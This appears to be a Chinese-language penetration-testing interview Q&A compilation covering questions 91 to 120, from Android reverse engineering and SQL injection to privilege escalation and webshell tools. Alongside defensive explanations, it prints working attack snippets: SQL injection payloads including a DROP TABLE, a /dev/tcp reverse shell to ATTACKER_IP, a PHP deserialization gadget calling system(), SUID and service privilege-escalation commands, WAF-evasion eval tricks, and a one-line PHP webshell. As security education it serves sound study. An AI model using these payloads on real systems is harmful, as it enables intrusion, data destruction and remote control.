2025年渗透测试面试题总结-217(题目+回答)
安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
九十一、Android APP 逆向分析步骤
九十二、SQL注入分类
九十三、SQL注入预防
九十四、序列化与反序列化
九十五、常见中间件漏洞
九十六、内网渗透思路
九十七、OWASP Top 10 漏洞(2021版)
九十八、正向代理 vs 反向代理
九十九、WebShell工具对比
一百、正向Shell vs 反向Shell
一百〇一/一百〇二、Windows提权方法
一百〇三、Linux提权方法
一百〇四、数据库类型
一百〇五、PHP反序列化漏洞
一百〇六、仅开放80端口的MySQL站
一百〇七、CMS扫描目录的意义
一百〇八、编辑器漏洞利用步骤
一百〇九、审查上传点元素的意义
一百一十/一百二十、CSRF/XSS/XXE区别与修复
一百一十一、3389无法连接的原因
一百一十二、业务逻辑漏洞示例
一百一十三、上传脚本403的原因
一百一十四、用户名枚举利用
一百一十五、突破注入转义的方法
一百一十六、.htaccess文件利用
一百一十七、安全狗检测机制
一百一十八、空格目录提权问题
一百一十九、利用防注入系统拿Shell
九十一、Android APP 逆向分析步骤一般是怎么样的?九十二、sql 注入 的分类?九十三、sql 注入的预防?九十四、序列化与反序列化的区别九十五、常见的中间件漏洞?九十六、内网渗透思路?九十七、OWASP Top10 有哪些漏洞九十八、正向代理和反向代理的区别九十九、蚁剑/菜刀/C 刀/冰蝎的相同与不相同之处一百、正向 SHELL 和反向 SHELL 的区别一百〇一、Windows 提权一百〇二、Windows 常用的提权方法一百〇三、Linux 提权有哪些方法一百〇四、数据库有哪些,关系型的和非关系型的分别是哪些一百〇五、PHP 反序列化一百〇六、为何一个 MYSQL 数据库的站,只有一个 80 端口开放?一百〇七、一个成熟并且相对安全的 CMS,渗透时扫描目录的意义?一百〇八、在某后台新闻编辑界面看到编辑器,应该先做什么?一百〇九、审查上传点的元素有什么意义?一百一十、CSRF、XSS 及 XXE 有什么区别,以及修复方式?一百一十一、3389 无法连接的几种情况一百一十二、说出至少三种业务逻辑漏洞,以及修复方式?一百一十三、目标站无防护,上传图片可以正常访问,上传脚本格式访问则 403,什么原因?一百一十四、目标站禁止注册用户,找回密码处随便输入用户名提示:“此用户不存在”,你觉得这里怎样利用?一百一十五、如何突破注入时字符被转义?一百一十六、拿到一个 webshell 发现网站根目录下有.htaccess 文件,我们能做什么?一百一十七、安全狗会追踪变量,从而发现出是一句话木马吗?一百一十八、提权时选择可读写目录,为何尽量不用带空格的目录?一百一十九、如何利用这个防注入系统拿 shell?一百二十、CSRF 和 XSS 和 XXE 有什么区别,以及修复方式?九十一、Android APP 逆向分析步骤
- 环境准备:安装 JDK、Apktool、JADX/Ghidra、Frida
- 反编译:
bashapktool d app.apk # 解包资源文件 jadx -d output app.apk # 反编译Java代码- 动态分析:
- Hook关键函数(Frida脚本监控加密逻辑)
- 调试Smali代码(Android Studio + Smalidea插件)
- 漏洞挖掘:
- 查找硬编码密钥(
SharedPreferences)- 检测组件暴露(
AndroidManifest.xml中exported=true)
九十二、SQL注入分类
类型 原理 示例 报错注入 触发数据库错误回显信息 ' and updatexml(1,concat(0x7e,(select user())),1)--布尔盲注 根据页面真假状态推断数据 ' and substring(database(),1,1)='a'--时间盲注 通过延时响应判断条件成立 ' and if(ascii(substr(database(),1,1))=97,sleep(3),0)--联合查询注入 利用 UNION拼接恶意查询结果' union select 1,group_concat(table_name),3 from information_schema.tables--堆叠查询 执行多条SQL语句(需支持) '; DROP TABLE users--
九十三、SQL注入预防
- 参数化查询(Prepared Statements):
javaPreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE id=?"); stmt.setInt(1, userId); // 自动转义- 输入过滤:白名单校验数据类型(如ID必须为整数)
- 最小权限原则:数据库账户仅授权必要操作(禁用
DROP/FILE权限)- WAF防护:部署ModSecurity规则过滤
union select等关键字
九十四、序列化与反序列化
对比项 序列化 反序列化 目的 对象 → 字节流(传输/存储) 字节流 → 对象(重建数据结构) 风险 无 可能执行恶意代码(如PHP的 unserialize()触发__wakeup())典型漏洞 - Java反序列化(Apache Commons Collections)、PHP对象注入
九十五、常见中间件漏洞
- Apache:
- 解析漏洞(
test.php.jpg被当作PHP执行)- CVE-2021-41773(路径遍历)
- Nginx:
- 配置错误导致目录遍历(
autoindex on)- CVE-2013-4547(文件名逻辑漏洞)
- Tomcat:
- AJP协议未授权访问(CVE-2020-1938)
- WAR后门部署
- WebLogic:
- 反序列化漏洞(CVE-2017-10271)
九十六、内网渗透思路
mermaidgraph LR A[信息收集] --> B(主机发现) A --> C(端口扫描) B --> D[ARP扫描/SMB枚举] C --> E[识别关键服务] E --> F{攻击路径} F -->|弱口令爆破| G[域控] F -->|漏洞利用| H[数据库服务器] G --> I[获取域管理员权限] H --> I I --> J[横向移动]
九十七、OWASP Top 10 漏洞(2021版)
- 失效的访问控制(如越权访问)
- 加密机制失效(弱哈希、明文存储密码)
- 注入漏洞(SQL/OS命令注入)
- 不安全设计(业务逻辑缺陷)
- 安全配置错误(默认配置/未加固)
- 危险组件(含漏洞的第三方库)
- 身份认证失效(会话固定/暴力破解)
- 软件和数据完整性故障(未验签更新包)
- 安全日志不足(无法追溯攻击行为)
- 服务端请求伪造(SSRF)
九十八、正向代理 vs 反向代理
特性 正向代理 反向代理 客户端感知 需要显式配置代理地址 无感知(透明代理) 服务端感知 无法获取真实客户端IP 可获取真实IP(通过 X-Forwarded-For)典型应用 翻墙、企业内部上网管控 负载均衡(Nginx)、CDN
九十九、WebShell工具对比
工具 通信加密 协议伪装 特点 蚁剑 ✔️ (AES) HTTP 插件丰富,支持内存马 菜刀 ✘ 明文HTTP 经典但易被检测 C刀 ✘ 自定义 支持ASPX/PHP多脚本 冰蝎 ✔️ (TLS) 流量混淆 动态密钥协商,绕过WAF能力强
一百、正向Shell vs 反向Shell
类型 建立方式 适用场景 正向Shell 攻击端连接目标监听端口 目标有公网IP/防火墙允许入站 反向Shell 目标主动连接攻击端控制服务器 目标在内网/NAT后 bash# 反向Shell示例(目标机执行): bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
一百〇一/一百〇二、Windows提权方法
- 内核漏洞:
- 使用
wesng检测漏洞 → 执行EXP(如CVE-2018-8120)- 服务漏洞:
- 替换服务二进制文件(
sc config 服务名 binPath= "cmd.exe /k net user...")- 令牌窃取:
- 注入
SYSTEM进程令牌(Meterpreter的incognito模块)- 配置错误:
- 查找可写目录(
accesschk.exe -uwdqs "Authenticated Users" *)- 劫持DLL路径(
PowerUp.ps1的Write-ServiceBinary)
一百〇三、Linux提权方法
- SUID滥用:
bashfind / -perm -4000 2>/dev/null # 查找SUID文件 /usr/bin/find . -exec /bin/sh \; # 利用find提权- 内核漏洞:
- 自动化工具:
linpeas或linux-exploit-suggester- 定时任务:
- 写恶意脚本到
/etc/cron.hourly/(需目录可写)- 环境变量劫持:
export PATH=/tmp:$PATH→ 放置恶意ls在/tmp
一百〇四、数据库类型
关系型 非关系型 MySQL MongoDB(文档型) PostgreSQL Redis(键值对) Oracle Cassandra(列存储) SQL Server Elasticsearch(搜索引擎)
一百〇五、PHP反序列化漏洞
原理:
unserialize()自动触发魔术方法phpclass Exploit { public $cmd = 'id'; function __destruct() { system($this->cmd); // 反序列化时执行系统命令 } } echo serialize(new Exploit()); // 生成Payload防御:禁用
unserialize()或使用json_decode()替代
一百〇六、仅开放80端口的MySQL站
可能性:
- MySQL绑定本地地址(
bind-address=127.0.0.1)- 通过Web应用间接访问(如PHPMyAdmin部署在80端口)
一百〇七、CMS扫描目录的意义
- 发现敏感文件:
- 配置文件(
/web.config)- 备份文件(
.bak/.git泄露)- 定位未授权接口:
/admin//api/swagger.json- 识别组件版本:
/README.txt→ 针对性漏洞利用
一百〇八、编辑器漏洞利用步骤
- 识别编辑器类型:查看HTML源码(如CKEditor/UEditor)
- 查找上传接口:
/ueditor/php/controller.php?action=uploadfile- 绕过文件类型检测:
- 修改Content-Type为
image/jpeg- 利用解析漏洞(
.php;.jpg)
一百〇九、审查上传点元素的意义
- 前端校验绕过:删除
accept="image/*"或onchange事件验证- 隐藏参数利用:发现未公开参数(如
filetype=php)
一百一十/一百二十、CSRF/XSS/XXE区别与修复
漏洞 攻击方式 修复方案 CSRF 诱导用户执行非预期操作 添加Anti-CSRF Token(同源校验) XSS 注入恶意脚本盗取数据 输出编码 + CSP策略 + HttpOnly XXE 解析恶意XML实体泄露文件 禁用DTD( libxml_disable_entity_loader(true);)
一百一十一、3389无法连接的原因
- 网络层:防火墙拦截(入站规则未放行TCP 3389)
- 系统层:服务未启动(
services.msc中Remote Desktop禁用)- 权限限制:用户未加入“Remote Desktop Users”组
一百一十二、业务逻辑漏洞示例
- 订单金额篡改:
- 漏洞:前端校验价格 → 抓包修改
price=0.01- 修复:后端二次校验订单总价
- 短信轰炸:
- 漏洞:未限制同一手机号发送频率
- 修复:增加60秒冷却时间+图形验证码
- 越权访问:
- 漏洞:URL参数
?userid=123→ 修改为124访问他人数据- 修复:会话绑定用户ID + 访问控制列表(ACL)
一百一十三、上传脚本403的原因
- Web服务器限制:Apache的
.htaccess禁止执行脚本apache<FilesMatch "\.(php|jsp)$"> Deny from all // 拒绝访问脚本文件 </FilesMatch>- 解决方案:尝试
.php.jpg结合解析漏洞
一百一十四、用户名枚举利用
- 爆破有效用户名:利用响应差异(“用户不存在” vs “验证码已发送”)
- 组合密码重置漏洞:
- 修改Host头为攻击者服务器 → 截取重置令牌
- 重置密码链接弱随机数(如时间戳可预测)
一百一十五、突破注入转义的方法
- 编码绕过:
- 十六进制:
SELECT * FROM users WHERE id=0x61646D696E(代替'admin')- Unicode编码:
id=\u0061\u0064\u006d\u0069\u006e- 注释符分割:
'/*!0OR*/1=1--- 嵌套表达式:
'+(select 1 where 1=1)+'
一百一十六、.htaccess文件利用
- 绕过黑名单:
apacheAddType application/x-httpd-php .jpg // 将jpg当作php解析- 目录遍历:
apacheOptions +Indexes // 启用目录列表
一百一十七、安全狗检测机制
- 可能触发:动态追踪变量执行链(如检测
$_POST['a']传入eval())- 绕过方案:
- 拆分函数名:
$f='e'.'v'; $f('al');- 反射调用:
(new ReflectionFunction('assert'))->invoke($_POST['cmd'])
一百一十八、空格目录提权问题
- 原因:Windows命令解析歧义(
Program Files需写为"Program Files")- 解决方案:
- 使用短路径(
Progra~1)- 迁移至无空格目录(如
C:\Windows\Temp)
一百一十九、利用防注入系统拿Shell
思路(需系统存在误判):
- 触发WAF误报:构造特殊Payload使WAF返回调试信息(如错误日志路径)
- 日志包含漏洞:通过
/index.php?page=/var/log/waf_error.log读取日志- 写入WebShell:若日志可控,插入
<?php system($_GET[0]);?>
